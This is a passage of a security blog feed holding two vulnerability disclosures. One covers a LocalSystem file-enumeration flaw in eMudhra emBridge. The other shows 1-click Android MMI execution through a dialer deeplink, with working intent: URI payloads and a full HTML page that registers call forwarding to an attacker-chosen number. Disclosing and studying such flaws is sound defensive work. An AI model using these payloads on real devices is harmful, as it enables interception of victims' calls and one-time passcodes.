<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://karansaini.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://karansaini.com/" rel="alternate" type="text/html" /><updated>2026-11-18T06:07:05+00:00</updated><id>https://karansaini.com/feed.xml</id><title type="html">Karan Saini</title><subtitle>personal blog</subtitle><entry><title type="html">Unauthenticated LocalSystem file enumeration in eMudhra emBridge</title><link href="https://karansaini.com/embridge/" rel="alternate" type="text/html" title="Unauthenticated LocalSystem file enumeration in eMudhra emBridge" /><published>2026-11-13T14:25:00+00:00</published><updated>2026-11-13T14:25:00+00:00</updated><id>https://karansaini.com/embridge-localsystem-file-enumeration</id><content type="html" xml:base="https://karansaini.com/embridge/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This short blog post describes a vulnerability in emBridge (eMudhra Ltd.) versions 5.9.1.x to 5.9.3.x for Windows, which lets any local process, or a web page served from the LAN, enumerate the file system with LocalSystem privileges. This vulnerability is tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-125659">CVE-2026-125659</a>.</p>

<p><img src="/media/emudhra-logo.png" alt="" width="300" /></p>

<p>I wasn’t planning to write about this flaw since it is quite trivial. However, eMudhra has published an <a href="https://web.archive.org/web/20261113124325/https://emudhra.com/en/post/cve-2026-125659">advisory</a> for it which frames the issue in a questionable manner, so I am documenting it for posterity.</p>

<p>I first teased this vulnerability on Twitter. If you haven’t seen it, you can <a href="https://x.com/squeal/status/2116168531477983286">click here</a> or watch the video below.</p>

<video controls="" preload="metadata" playsinline="" width="100%">
  <source src="/media/embridge-lan-exploit.mp4" type="video/mp4" />
</video>

<h2 id="what-is-embridge">What is emBridge?</h2>
<p>emBridge is eMudhra’s client-side signing helper, used to sign with DSC tokens from the browser on Indian government and enterprise portals. On Windows, the package installs as a service named <code class="language-plaintext highlighter-rouge">emBridge</code>, which starts automatically, runs as <strong>LocalSystem</strong>, and serves an HTTPS REST API on ports <code class="language-plaintext highlighter-rouge">26769</code> and <code class="language-plaintext highlighter-rouge">26770</code>. The testing described below was done on emBridge for Windows 5.9.1.0.</p>

<p>While I only tested Windows, as per eMudhra’s own advisory, the issue also affects the following macOS and Linux builds:</p>

<ul>
  <li>macOS (x64): 3.2.4.x to 3.2.6.x</li>
  <li>Ubuntu (x64): 3.2.0.x to 3.3.0.x</li>
  <li>Red Hat (x64): 3.2.0.x to 3.3.0.x</li>
</ul>

<h2 id="the-issue">The issue</h2>

<p>The API does not have authentication. Instead, requests are wrapped in an “encrypted” envelope:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"encryptedRequest": "&lt;base64&gt;", "encryptionKeyId": "&lt;32 hex&gt;"}
</code></pre></div></div>

<p>The AES key used for encryption is derived from the client-supplied <code class="language-plaintext highlighter-rouge">encryptionKeyId</code>, which is looked up in a hardcoded dictionary of 10,001 keyId-to-passphrase pairs (<code class="language-plaintext highlighter-rouge">emBridge.Utility.EncryptionHelper.encryptionDictionary</code>) inside the emBridge binary, which is <a href="https://github.com/yck1509/ConfuserEx">ConfuserEx</a>-obfuscated.</p>

<p>Since the dictionary is compiled into the product, anyone with a copy of the installer can extract it and build a valid request. Using a keyId from the 5.9.1.0 binary, I built envelopes for the <code class="language-plaintext highlighter-rouge">ListToken</code>, <code class="language-plaintext highlighter-rouge">ListAllCert</code> and <code class="language-plaintext highlighter-rouge">GenrateCSR</code> endpoints, and the service accepted them. The same keyId also appears in my emBridge logs from September 2024 through November 2026.</p>

<p>The API sets <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin: *</code> on all of its responses, which allows pages from any origin to read them. The installer also writes <code class="language-plaintext highlighter-rouge">127.0.0.1 localhost.emudhra.com</code> to the hosts file and adds a locally generated CA (<code class="language-plaintext highlighter-rouge">CN=eMudhra Local CA</code>) to the machine and user Root stores. At least on Windows, this means the browser trusts <code class="language-plaintext highlighter-rouge">https://localhost.emudhra.com:26769</code> without a warning.</p>

<p>Among the exposed controllers is <code class="language-plaintext highlighter-rouge">FileBrowserController</code>, with two actions: <code class="language-plaintext highlighter-rouge">GetDrives</code> and <code class="language-plaintext highlighter-rouge">GetContent(String BasePath)</code>. The service runs as LocalSystem, so these actions can list directories that require elevated privileges.</p>

<h2 id="non-admin-to-localsystem">Non-admin to LocalSystem</h2>

<p>On a standard (non-administrator) account:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ChildItem C:\Windows\System32\config                 -&gt; UnauthorizedAccessException
GET /FileBrowser/GetContent?BasePath=C:\Windows\System32\config      -&gt; lists Journal

Get-ChildItem C:\ProgramData\Microsoft\Windows\SystemData -&gt; UnauthorizedAccessException
GET /FileBrowser/GetContent?BasePath=C:\ProgramData\Microsoft\Windows\SystemData -&gt; lists S-1-5-18
</code></pre></div></div>

<p>The operating system denies the user, but the emBridge API returns the listing without a hitch. Any local process, regardless of privilege, can enumerate ACL-protected paths through the service.</p>

<h2 id="from-a-web-page">From a web page</h2>

<p>Because of the wildcard CORS header, a web page can abuse the same behaviour. I served a page from a second machine on my LAN (<code class="language-plaintext highlighter-rouge">http://192.168.29.177</code>) and opened it in Firefox on the target (<code class="language-plaintext highlighter-rouge">192.168.29.33</code>). Without any prompt for local network access, the page read <code class="language-plaintext highlighter-rouge">/DSC/Version</code>, <code class="language-plaintext highlighter-rouge">/FileBrowser/GetDrives</code>, <code class="language-plaintext highlighter-rouge">/FileBrowser/GetContent</code> (<code class="language-plaintext highlighter-rouge">C:\Users</code>) and <code class="language-plaintext highlighter-rouge">/DSCClient/ListProviders</code>, and a recursive walk of every drive (file names and sizes) streamed back to the attacker host.</p>

<p>A LAN peer hitting <code class="language-plaintext highlighter-rouge">https://&lt;target-ip&gt;:26769</code> directly is blocked by Windows Firewall by default, even though the emBridge service listener is bound to <code class="language-plaintext highlighter-rouge">0.0.0.0</code>. A page served from the public internet is blocked by the browser’s Local Network Access (LNA) restrictions. The only route to exploitation is via a page on the LAN.</p>

<h2 id="the-advisory">The advisory</h2>

<p>eMudhra rates the issue Low impact and Low risk, describes it as “reconnaissance-grade metadata only”, and states that exploitation requires all of the following:</p>

<blockquote>
  <ul>
    <li>“An affected version of emBridge is running on the user’s computer.</li>
    <li>An attacker hosts a malicious web page on the same local network as the user.</li>
    <li>The user opens that page.</li>
    <li>The user’s browser does not enforce Local Network Access restrictions.”</li>
  </ul>
</blockquote>

<p>I don’t fully agree about directory structures and file names being “non-sensitive metadata” (they can give away quite a lot of information in some circumstances), but let’s move on. The fourth condition they describe (i.e., “the user’s browser does not enforce Local Network Access restrictions”) is met by-default in the scenario they describe in the second condition.</p>

<h2 id="local-network-access-restrictions">Local Network Access restrictions</h2>

<p>LNA classifies requests by the address space of the page and of the target. A page served from a LAN address is a <em>local</em> origin; <code class="language-plaintext highlighter-rouge">localhost.emudhra.com</code> resolves to <code class="language-plaintext highlighter-rouge">127.0.0.1</code>, which is a <em>loopback</em> target. At present, browsers do not gate local-to-loopback requests. The <a href="https://wicg.github.io/local-network-access/">WICG LNA specification</a> notes that “Chromium only implements Local Network Access restrictions for public to local or loopback requests, and does not enforce the permission for cross-origin local requests.” Microsoft’s documentation for Edge states that “LNA restrictions don’t yet apply to local-&gt;local or local-&gt;loopback requests.”</p>

<p>Therefore, “a browser that does not enforce LNA” is – for a LAN-hosted page, which is a stated precondition for the attack – any current build of Chrome, Firefox, or Edge, with default configuration. I also verified this independently instead of relying solely on documentation.</p>

<table>
  <thead>
    <tr>
      <th>Attacker origin</th>
      <th>Chrome</th>
      <th>Firefox</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>HTTP, private LAN IP -&gt; loopback</td>
      <td>allowed, no prompt</td>
      <td>allowed, no prompt</td>
    </tr>
    <tr>
      <td>HTTPS, private LAN IP -&gt; loopback</td>
      <td>allowed, no prompt</td>
      <td>allowed, no prompt</td>
    </tr>
    <tr>
      <td>Public origin -&gt; loopback</td>
      <td>blocked (LNA)</td>
      <td>blocked (LNA)</td>
    </tr>
  </tbody>
</table>

<p>LNA only blocks a page served from the public internet, which is not the attack described above, nor the one described in eMudhra’s advisory. Chromium does intend to enforce LNA for local-to-loopback requests at some point (<a href="https://github.com/WICG/local-network-access/issues/17">WICG/local-network-access#17</a>), but no current version of Chrome or Edge does this.</p>

<p>I agree that the scope of this issue is narrow. The attacker needs to serve a page on the victim’s LAN, and the victim needs to open it. However, the advisory disingenuously tries to narrow the scope further by listing LNA as a precondition, implying that in order for the attack to work, the victim would have had to <strong>1.</strong> disable an enabled-by-default browser protection, <em>or</em> <strong>2.</strong> use an insecure browser.</p>

<p>The advisory also does not mention the non-browser path. A local, unprivileged process can list privileged paths through the service without a browser or a LAN page being involved.</p>

<p>As an aside: the eMudhra advisory, for some reason, does not credit me, while <a href="https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&amp;VLCODE=CIVN-2026-0549">CERT-In’s vulnerability note</a> and the <a href="https://www.cve.org/CVERecord?id=CVE-2026-125659">CVE listing</a> do.</p>

<h2 id="robotstxt">robots.txt</h2>

<p>Another curiosity is that eMudhra’s <a href="https://web.archive.org/web/20261113124155/https://emudhra.com/robots.txt">robots.txt</a> contains a <code class="language-plaintext highlighter-rouge">Disallow:</code> entry for the advisory, which was published on 11 November 2026:</p>

<p><img src="/media/emudhra-robots.png" alt="emudhra.com/robots.txt, with a Disallow entry for the CVE-2026-125659 advisory" width="500" />
<em>emudhra.com/robots.txt as of 13 November 2026.</em></p>

<p>This entry tells search engines not to crawl the advisory, making it unlikely to turn up when someone searches for the CVE or for emBridge. It is also the only post on the site which has been singled out this way. The rest of the list is admin, author, preview, preference and 404 pages. I thought this exclusion was worth a mention. :-)</p>

<h2 id="remediation">Remediation</h2>

<p>The <code class="language-plaintext highlighter-rouge">FileBrowser</code> endpoints <code class="language-plaintext highlighter-rouge">GetDrives</code> and <code class="language-plaintext highlighter-rouge">GetContent</code> have been removed in emBridge 5.9.4 for Windows, 3.2.7 for macOS, and 3.3.1 for Ubuntu and Red Hat. It is unclear why these endpoints were ever present to begin with, but you should update emBridge if you have it installed.</p>

<p>The code used for the Proof of Concept video is available <a href="https://gist.github.com/qurbat/65e9e0aba7e4f17c42317bc5f7e74846">here</a>.</p>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
  <li>30 Oct 2026 — Reported to eMudhra via CERT-In</li>
  <li>04 Nov 2026 — eMudhra acknowledged the report via CERT-In</li>
  <li>06 Nov 2026 — CERT-In relayed that the issue was fixed in emBridge 5.9.4</li>
  <li>11 Nov 2026 — eMudhra published its advisory for CVE-2026-125659</li>
  <li>13 Nov 2026 — CERT-In published vulnerability note CIVN-2026-0549</li>
  <li>13 Nov 2026 — Public disclosure</li>
</ul>]]></content><author><name>Karan Saini</name></author><category term="Security" /><category term="emudhra" /><category term="embridge" /><category term="local network access" /><category term="windows" /><summary type="html"><![CDATA[emBridge exposes an unauthenticated local API running as LocalSystem. Any local process, or a web page served from the LAN, can abuse it to list the victim's drives and directories with system privileges.]]></summary></entry><entry><title type="html">1-click MMI execution in Android</title><link href="https://karansaini.com/mmi-android/" rel="alternate" type="text/html" title="1-click MMI execution in Android" /><published>2026-10-09T14:05:00+00:00</published><updated>2026-10-09T14:05:00+00:00</updated><id>https://karansaini.com/1-click-mmi-android</id><content type="html" xml:base="https://karansaini.com/mmi-android/"><![CDATA[<p>This article describes how vulnerable dialer applications can be exploited to achieve 1-click MMI execution in Android.</p>

<h1 id="introduction">Introduction</h1>

<p>I’ve known for some time that Android apps with the <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> permission can dial USSD and MMI codes alongside regular phone numbers. For as long as I have known this, I have wanted to develop an attack to execute MMI codes from an application or a web page with little or no user interaction. Three years ago, I created a proof of concept that would silently forward calls on a handset by abusing the <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> permission. This would have obviously required a user to sideload the malicious application, undermining its impact. Last month, I discovered and reported vulnerabilities resulting in 1-click MMI execution where a user has a vulnerable dialer application installed on their device.</p>

<h2 id="what-are-mmiussd-codes">What are MMI/USSD codes?</h2>

<p>MMI and USSD codes are strings of digits, asterisks and hashes that are typed into a dialer but are not phone numbers — <code class="language-plaintext highlighter-rouge">*123#</code>, <code class="language-plaintext highlighter-rouge">*#06#</code>, <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;#</code>. Both are specified by 3GPP: the Man-Machine Interface codes in TS 22.030, and Unstructured Supplementary Service Data in TS 22.090. On devices, these codes are reachable only by the dialer (or SIM apps).</p>

<p>These strings fall into two groups. The first is handled on the device and never leaves the handset — <code class="language-plaintext highlighter-rouge">*#06#</code>, for example, returns the handset IMEI. The second is sent over the GSM signalling channel to the carrier, which either acts on the code or replies to it. This second group is USSD proper, and it is session-oriented: the handset opens a session, the network responds with text, and the exchange continues until either side ends it. It is what carriers build their menus on — account management, recharges, and even mobile banking (e.g., the UPI payments menu on <code class="language-plaintext highlighter-rouge">*99#</code>).</p>

<p>Supplementary service codes configure the subscriber’s service within the carrier’s records. They are defined in section 6.5.2 of TS 22.030, which specifies the format as <code class="language-plaintext highlighter-rouge">*SC*SI#</code> - a leading action code, a service code <code class="language-plaintext highlighter-rouge">SC</code> of two or three digits, the supplementary information <code class="language-plaintext highlighter-rouge">SI</code> that the service takes, and a terminating <code class="language-plaintext highlighter-rouge">#</code>. Service code <code class="language-plaintext highlighter-rouge">21</code> is unconditional call forwarding, <code class="language-plaintext highlighter-rouge">67</code> is forwarding on busy, <code class="language-plaintext highlighter-rouge">61</code> on no reply, <code class="language-plaintext highlighter-rouge">62</code> on unreachable; <code class="language-plaintext highlighter-rouge">33</code> is call barring, <code class="language-plaintext highlighter-rouge">31</code> is caller ID suppression (which doesn’t work in India). <code class="language-plaintext highlighter-rouge">**21*5550000000#</code> translates to “register unconditional forwarding to this number,” and the network registers that for whichever caller that dials the string. The registration is stored by the carrier and not the handset.</p>

<h2 id="the-issue">The issue</h2>

<p><code class="language-plaintext highlighter-rouge">android.permission.CALL_PHONE</code> is an ordinary runtime permission. There are probably a handful of applications on your device to which you’ve granted this permission (e.g. WhatsApp, Signal, Truecaller). The text a user sees when granting the permission reads “make and manage phone calls.”</p>

<p><img src="/media/call-phone-permission-dialog.png" alt="The CALL_PHONE runtime permission dialog" width="400" />
<em>The <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> permission dialog as the user sees it. Screenshot courtesy of <a href="https://proandroiddev.com/android-permissions-unveiled-a-developers-insight-131c829c150b">Raghav Aggarwal / ProAndroidDev</a>.</em></p>

<p>However, this permission also allows an app to execute arbitrary USSD and MMI codes against the SIM. A USSD/MMI code is a carrier control command rather than a call — <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;#</code>, for example, registers unconditional call forwarding.</p>

<p>The issue is twofold:</p>
<ol>
  <li>The permission text does not describe the USSD capability, so the grant does not constitute “informed consent,” and</li>
  <li>nothing is shown to the user at the time of execution, i.e., the platform runs the code and only then displays a transient “USSD code running” dialog, with no point at which the user can decline. MMI execution does not write an entry to the standard call-log, so there is no obvious record either.</li>
</ol>

<h2 id="vulnerable-dialer-applications">Vulnerable dialer applications</h2>

<p>The precondition for all of this is an application with the <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> permission which also exposes a browser-reachable deeplink to its dial path. An application of this sort turns our local capability remote. Both of these properties are unremarkable on their own, but allow for 1-click MMI execution when combined.</p>

<p>To get a sense of how common browser-reachable dialer deeplinks are, I performed a manifest-level scan of 88 call, dialer and VoIP applications. Of these, 66 declared <code class="language-plaintext highlighter-rouge">CALL_PHONE</code>, and 54 exposed some browser-reachable dial surface. It should be noted that the majority of these only pre-fill a dialer with the supplied number rather than dialling it, which means that not all of them are exploitable as they stand today.</p>

<p>The scan is not a count of vulnerable applications. Whether any given application can be abused in this manner comes down to how that application handles its deeplinks. The scan produced a list of candidate applications worth examining.</p>

<h2 id="testing">Testing</h2>

<p>Working through those candidates, I started testing on an emulator (API 34, Android 14) since I didn’t initially have an Android device at hand. An added benefit of testing in an emulator is that telephony behaviour can be captured with <code class="language-plaintext highlighter-rouge">dumpsys</code>. Driving a dialer’s deeplink from a web page worked on the first try! Alas, Google requires that security vulnerabilities reported to them be tested on builds no more than 30 days old. I tried to bring up an Android 17 emulator next and had trouble getting a working image running, so I stopped for a bit and tried to find a handset on which to confirm the behaviour end-to-end.</p>

<p>After some searching I was able to get hold of a physical handset — a Samsung Galaxy M16 5G running Android 16 (One UI 8.5), build <code class="language-plaintext highlighter-rouge">BP4A.251205.006.M166PXXS7DZG1</code>, with a security patch level of 5 July 2026 — which let me confirm the behaviour against a live carrier network rather than against an emulated one. I did eventually get an Android 17 emulator image working as well, and re-ran everything on it, which reproduced unchanged.</p>

<h2 id="demonstration-1-click-mmi-execution-through-chrome">Demonstration: 1-click MMI execution through Chrome</h2>

<p>ACR Phone / Cube ACR (<code class="language-plaintext highlighter-rouge">com.nll.cb</code>, which has over 5 million installs) has an intent filter which declares the action <code class="language-plaintext highlighter-rouge">android.intent.action.CALL_BUTTON</code>, the category <code class="language-plaintext highlighter-rouge">android.intent.category.BROWSABLE</code>, and a <code class="language-plaintext highlighter-rouge">tel:</code> data scheme. The activity it resolves to passes the <code class="language-plaintext highlighter-rouge">tel:</code> data into an auto-dial path, i.e., the supplied string is dialled rather than being presented to the user for confirmation.</p>

<p>Chrome’s <code class="language-plaintext highlighter-rouge">intent:</code> URI syntax allows a page to nominate an arbitrary action for the intent which it emits. The only check that Chrome performs before dispatching is that the filter which resolves the intent declares <code class="language-plaintext highlighter-rouge">BROWSABLE</code>; it does not apply any filtering to the action itself. A page is therefore free to nominate <code class="language-plaintext highlighter-rouge">CALL_BUTTON</code>, at which point ACR’s auto-dial path runs, and the supplied string is executed under ACR’s own <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> grant rather than under any grant held by the browser.</p>

<p>One further precondition is specific to ACR: it must hold the <code class="language-plaintext highlighter-rouge">DIALER</code> role — <code class="language-plaintext highlighter-rouge">DialerActivity.a0()</code> checks default-dialer status and redirects to its setup screen otherwise — in addition to holding <code class="language-plaintext highlighter-rouge">CALL_PHONE</code>. Both conditions are expected for a dialer replacement (such as ACR) but neither are default. Further, the preconditions apply to the demonstration rather than the underlying issue, that is the absence of consent and of confirmation for MMI execution holds for any <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> holder. For diversion codes specifically, Android 14 added a default-dialer check — which ACR satisfies, and which Android 17 does not apply; both are covered below.</p>

<p>I ran two payloads: the balance query below, and the call forwarding registration in the section which follows. Both executed successfully. The terminating hash is percent-encoded as <code class="language-plaintext highlighter-rouge">%23</code> in each case:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"intent:*123%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end"</span><span class="nt">&gt;</span>tap<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>

<p>A literal <code class="language-plaintext highlighter-rouge">#</code> will survive <code class="language-plaintext highlighter-rouge">Intent.parseUri()</code>, which locates the fragment using <code class="language-plaintext highlighter-rouge">lastIndexOf("#Intent;")</code> rather than by searching for the first hash in the URI — but the hash is subsequently lost further down the dial path, and what remains of the string is then placed as an ordinary call to the number instead of being processed as an MMI code. <code class="language-plaintext highlighter-rouge">%23</code> must be used.</p>

<p>Tapping the link produces no chooser — ACR is the sole handler for that action with both <code class="language-plaintext highlighter-rouge">BROWSABLE</code> and a <code class="language-plaintext highlighter-rouge">tel:</code> scheme — and no confirmation of any kind. The intent which Android delivered, as captured from <code class="language-plaintext highlighter-rouge">dumpsys activity recents</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>act=android.intent.action.CALL_BUTTON
cat=[android.intent.category.BROWSABLE]     &lt;-- added by Chrome; identifies the sender
dat=tel:*123%23
cmp=com.nll.cb/.dialer.dialer.DialerActivity
</code></pre></div></div>

<p>And the corresponding telephony record, from <code class="language-plaintext highlighter-rouge">dumpsys telecom</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CallTC@2 (MO - outgoing)
  CREATED (com.nll.cb; ...)
  START_CONNECTION (tel:***** via:com.android.phone)
  SET_DISCONNECTED ... Reason: (Connection is null, DIALED_MMI)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">DIALED_MMI</code> means the framework processed the supplied string as an MMI code rather than dialling it as a number. The time elapsed between the tap and the creation of the call was roughly 1.3 seconds, with no interaction required beyond the single tap.</p>

<h2 id="registering-call-forwarding">Registering call forwarding</h2>

<p>The balance query establishes that the path executes MMI codes. Only the payload changes from here. As described earlier, <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;#</code> registers unconditional call forwarding — so if the destination is a number which the attacker controls, the victim’s incoming calls will be delivered to the attacker instead.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span><span class="nt">&lt;html&gt;&lt;head&gt;&lt;meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">&gt;&lt;meta</span> <span class="na">name=</span><span class="s">"viewport"</span> <span class="na">content=</span><span class="s">"width=device-width,initial-scale=1"</span><span class="nt">&gt;</span>
<span class="nt">&lt;title&gt;</span>C1 forwarding<span class="nt">&lt;/title&gt;&lt;/head&gt;&lt;body</span> <span class="na">style=</span><span class="s">"margin:0;font-family:system-ui"</span><span class="nt">&gt;</span>
<span class="nt">&lt;div</span> <span class="na">style=</span><span class="s">"padding:20px"</span><span class="nt">&gt;&lt;h2&gt;</span>Case C1: call forwarding<span class="nt">&lt;/h2&gt;</span>
<span class="nt">&lt;p</span> <span class="na">style=</span><span class="s">"font-size:13px;word-break:break-all"</span><span class="nt">&gt;</span>
intent:**21*5550000000%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end<span class="nt">&lt;/p&gt;</span>
<span class="nt">&lt;p</span> <span class="na">style=</span><span class="s">"font-size:13px;color:#a00"</span><span class="nt">&gt;</span>Registers unconditional call forwarding. Use a test line you control.
Undo with <span class="nt">&lt;code&gt;</span>##21#<span class="nt">&lt;/code&gt;</span>.<span class="nt">&lt;/p&gt;&lt;/div&gt;</span>
<span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"intent:**21*5550000000%23#Intent;scheme=tel;action=android.intent.action.CALL_BUTTON;end"</span>
   <span class="na">style=</span><span class="s">"display:block;margin:20px;padding:80px 0;background:#733;color:#fff;text-align:center;font-size:30px;text-decoration:none;border-radius:12px"</span><span class="nt">&gt;</span>TAP C1<span class="nt">&lt;/a&gt;</span>
<span class="nt">&lt;/body&gt;&lt;/html&gt;</span>
</code></pre></div></div>

<p>A single tap on this link registered forwarding: the network returned a successful-registration response, and a persistent diversion indicator appeared in the status bar.</p>

<p><img src="/media/android17-call-forwarding-registered.png" alt="Call forwarding registered from a single tap on Android 17" width="330" />
<em>The Android 17 reproduction. The diversion indicator is visible in the status bar, beside the clock.</em></p>

<p>On the borrowed handset, which carried an Airtel India SIM, I confirmed the single-asterisk form, <code class="language-plaintext highlighter-rouge">*21*&lt;number&gt;%23</code>; the double-asterisk form above was run against the emulator’s simulated network. The forwarding destination I registered was my own main line. I then called the borrowed handset from a third phone: the call arrived on my main line, and the borrowed handset never rang. On a live SIM, one tap on a web page is enough to send a victim’s incoming calls somewhere else. Forwarding can be cleared with <code class="language-plaintext highlighter-rouge">##21#</code>, and the state the network holds can be interrogated with <code class="language-plaintext highlighter-rouge">*#21#</code>.</p>

<p>Both <code class="language-plaintext highlighter-rouge">*21*&lt;number&gt;%23</code> and <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;%23</code> will register forwarding, and in both cases the terminating hash must be <code class="language-plaintext highlighter-rouge">%23</code>.</p>

<h2 id="impact">Impact</h2>

<p>Call diversion converts code execution into call interception. For as long as a diversion remains registered, the attacker will receive the user’s incoming calls — which includes voice-delivered one-time passcodes and bank verification callbacks, both of which remain in common use. The carrier network stores the registration of call forwarding, though modern handsets will display some text or icon letting the user know that call forwarding is active. At the same time, since the call forwarding registration is stored at the carrier-side, rebooting, uninstalling the dialer application, and even performing a factory reset will not cancel the forwarding.</p>

<p>MMI execution is never added to the call list, so there is nothing in the call log to examine. The only visible artefacts are a dialog which dismisses itself after about two seconds, and a diversion indicator in the status bar which I suspect very few users to recognise or act upon — let alone attribute it to a link they tapped earlier in the day. A user who suspects that something has happened has no record available to them which would confirm it.</p>

<p>The demonstrated chain requires an installed  application holding an ordinary runtime permission, a browsable deeplink leading into its dial path — in ACR’s case, one the user has also chosen as their default dialer — and one tap which the user can be induced into making on just about anything — a play button, cookie banner, etc.</p>

<h2 id="android-17-and-the-loss-of-caller-identity">Android 17 and the loss of caller identity</h2>

<p>Everything above depends on the chosen application having an exposed deeplink which auto-dials. While testing on Android 17, however, I came across a related platform change which removes even that requirement. It was reported separately, and was only confirmed on an emulator.</p>

<p>Android 17 moves Telecom into the <code class="language-plaintext highlighter-rouge">com.android.telephonycore</code> mainline module, and splits its user interface out into a separate privileged application. <code class="language-plaintext highlighter-rouge">com.android.server.telecom</code> is now a shim which re-starts the <code class="language-plaintext highlighter-rouge">ACTION_CALL</code> intent it receives against <code class="language-plaintext highlighter-rouge">com.google.android.telecomui</code>, which in turn calls <code class="language-plaintext highlighter-rouge">TelecomManager.placeCall()</code> under its own identity. The package which originally made the call is not carried across this hand-off. Since <code class="language-plaintext highlighter-rouge">telecomui</code> holds <code class="language-plaintext highlighter-rouge">CALL_PRIVILEGED</code>, the identity Telecom evaluates is that of a privileged dialer, and the check which would otherwise reject a dangerous MMI string passes.</p>

<p>The effect of this is that on Android 17 a plain <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;#</code> sent through <code class="language-plaintext highlighter-rouge">ACTION_CALL</code> by an application which holds only <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> — and which has no dialer role — is dispatched as an MMI code, with no crafted payload and no vulnerable third-party application anywhere in the path. The original package appears nowhere in <code class="language-plaintext highlighter-rouge">dumpsys telecom</code> for that call — the identity is not merely unchecked, it is absent.</p>

<p>The control was added in Android 14, and on Android 14 through 16 it does its job: the same <code class="language-plaintext highlighter-rouge">**21*&lt;number&gt;#</code> sent through <code class="language-plaintext highlighter-rouge">ACTION_CALL</code> by an application which is not the default dialer is refused, and the string is handed to the system dialer for the user to confirm. That is what the chain described earlier needs ACR for — ACR holds the <code class="language-plaintext highlighter-rouge">DIALER</code> role, so the check passes honestly. On Android 17 the check still runs on every call. It is the answer that changed, not the check.</p>

<p>I had no physical Android 17 device, so this was confirmed on an emulator, which has no real SIM. <code class="language-plaintext highlighter-rouge">DIALED_MMI</code> establishes that the framework parsed and dispatched the string as an MMI code. It does not establish that a carrier registered the diversion, which would need a live SIM.</p>

<p>I reported this separately on 14 September. Google closed it on 24 September as a duplicate of an issue which one of their own engineers had reported earlier. I asked to be added to that report, and was told it could not be shared, being an internal bug containing confidential system information — but that my report described the same root cause, namely the <code class="language-plaintext highlighter-rouge">UserCallActivity</code> trampoline dropping the original caller’s identity.</p>

<h2 id="on-working-as-intended">On “working as intended”</h2>

<p>That <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> authorises a silent voice call is both documented and defensible. Whether that authorisation ought to extend to MMI execution is a separate question.</p>

<p>The permission text makes no reference to reconfiguration of the subscriber’s service, which means that a user cannot meaningfully be said to have consented to it when granting “make and manage phone calls.” The class of consequence is also different in kind — a silent call is observable and it costs the attacker money, whereas silent forwarding costs nothing and intercepts the victim’s calls. The mitigation which is usually offered for the silent-call case does not carry over either, since a call leaves behind a log entry and an MMI code does not. And Google does already treat USSD as dangerous elsewhere, in that Play policy restricts its use by applications — which would presumably be unnecessary if silent execution were considered an ordinary and expected consequence of holding <code class="language-plaintext highlighter-rouge">CALL_PHONE</code>.</p>

<p>A narrow fix would be a confirmation prompt which displays the literal code, shown before the telephony stack executes an MMI string that has arrived through <code class="language-plaintext highlighter-rouge">ACTION_CALL</code> from an application which is not the user’s chosen default dialer acting on direct user input. The broader fix would be to decouple the capability altogether: keep <code class="language-plaintext highlighter-rouge">CALL_PHONE</code> for dialling, and gate MMI execution behind either a distinctly-worded permission of its own or an explicit, confirmed API — much as <code class="language-plaintext highlighter-rouge">TelephonyManager.sendUssdRequest()</code> already is. Either approach would remove the web-reachable path without being dependent on individual developers fixing their deeplink handling.</p>

<h2 id="disclosure">Disclosure</h2>

<p>I reported the <code class="language-plaintext highlighter-rouge">CALL_PHONE</code>/MMI issue to the Android &amp; Google Devices VRP on 12 September 2026, and followed it with an Android 17 retest on 14 September, confirming that the chain still worked. The report was closed as Won’t Fix (Infeasible) on 17 September. The assessment given was that this is not a vulnerability in Android itself, but rather a consequence of insecure deeplink handling in third-party dialer applications such as ACR, and that hardening at the platform level would be treated as a future improvement rather than as a fix.</p>

<p>I disagree, for the reasons set out in the section above — that the permission grant does not inform the user of the possibility of MMI execution, and in the absence of a platform-level change the security of the model rests on every call-capable application’s deeplinks being reviewed for auto-dial paths, which I do not believe is feasible. I raised these same points in reply. Google’s position did not change. On the question of what “logged this issue for potential remediation in a future version” had meant:</p>

<blockquote>
  <p>When we mentioned that we “logged this issue for potential remediation in a future version,” we meant that our team is looking into ways we might improve the Android platform in the future to help prevent third-party apps from making this type of mistake. However, because this would be an overall platform improvement and not a direct fix for an Android vulnerability, the report was closed on our end.</p>
</blockquote>

<p>On the remediation I had suggested:</p>

<blockquote>
